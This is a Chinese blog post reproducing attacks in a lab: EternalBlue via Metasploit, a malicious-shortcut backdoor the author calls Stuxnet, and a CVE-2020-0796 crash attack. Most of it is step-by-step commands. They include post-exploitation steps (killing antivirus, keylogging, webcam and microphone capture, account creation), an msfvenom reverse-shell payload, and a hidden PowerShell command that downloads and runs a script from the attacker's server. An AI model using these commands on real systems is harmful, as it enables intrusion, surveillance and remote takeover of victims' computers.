永恒之蓝和震网病毒复现

最新推荐文章于 2024-02-21 17:57:55 发布

BRMTSW

最新推荐文章于 2024-02-21 17:57:55 发布

阅读量479

点赞数 1

文章标签：安全

本文链接：https://blog.csdn.net/BRMTSW/article/details/129286340

版权

永恒之蓝

1、打开msf

2、漏洞编码查找

search ms17_010

使用：use auxiliary/scanner/smb/smb_ms17_010

靶机探测：set rhosts 192.168.3.0/24

run

绿色＋号表示有可能存在该漏洞

3、攻击利用

search ms17_010

use exploit/windows/smb/ms17_010_eternalblue

set rhost 192.168.1.8

再次查看编辑信息：options

4、run进行攻击

如果出现meterperter即攻击成功

此处为攻击失败页面

后渗透利用

查看进程：ps

查看当前进程号：getpid

查看系统信息：sysinfo

查看目标机是否为虚拟机：run post/windows/gather/checkvm

查看完整网络设置：route

查看当前权限：getuid

自动提权：getsystem

关闭杀毒软件：run post/windows/manage/killav

启动远程桌面协议：run post/windows/manage/enable_rdp

列举当前登录的用户：run post/windows/gather/enum_logged_on_users

查看当前应用程序：run post/windows/gather/enum_applications

抓取目标机的屏幕截图：load espia ； screengrab

抓取摄像头的照片：webcam_snap

查看当前处于目标机的那个目录：pwd

查看当前目录：getlwd

键盘记录：keyscan_start keyscan_dump

绕过UAC提权:use exploit/windows/local/ask

创建用户：run getgui -u msb -p 123456

安卓机录音渗透：

record_mic 包含4个可选参数分别为 -d 是设置录音时长的 -f 设置未见路径的 -h 查看帮助的 -p 控制自动播放的一条简单的录音语句 record_mic -d 10 -p true

Insufficient privileges, account was not be created. 看到这个提示就需要先提权（获取到system）

原理解释：

永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞，这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序

震网病毒

1、开启msf和靶机

2、创建后门

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.3.23 （攻击机ip）lport=4456 -f psh-reflection>/var/www/html/link.ps1

3、启动appach2

4、靶机创建快捷方式

右键、创建、快捷方式

输入：powershell -windowstyle hidden -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.204.135/link.ps1‘);test.ps1″

注意：一定要和创建的后门的名字一样

5、攻击机配置监控

use exploit/multi/handler

6、攻击机配置payload后输入run回车

set payload windows/x64/meterpreter/reverse_tcp（和后面配置一致）

7、靶机执行shell

8、meterpreter出现，攻击成功！！！！！

攻击原理

创建恶意快捷方式，包含恶意执行脚本，点击恶意快捷方式，导致本机中病毒，并且被远控。

永恒之黑蓝屏攻击

永恒之黑漏洞与“永恒之蓝”漏洞极为相似，都是利用Windows SMB漏洞远程攻击获取系统最高权限

由于没有合适靶机，暂无实验

支持版本

Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for ARM64-based Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for ARM64-based Systems Windows 10 Version 1909 for x64-based Systems Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation)

1、漏洞探测

直接在cmd中启动 CVE-2020-0796-Scanner.exe（一个py工具包）

2、找到攻击靶机ip

使用CVE-2020-0796 蓝屏工具进行攻击

python3 CVE-2020-0796.py <查询到存在漏洞的IP>

回车即可进行攻击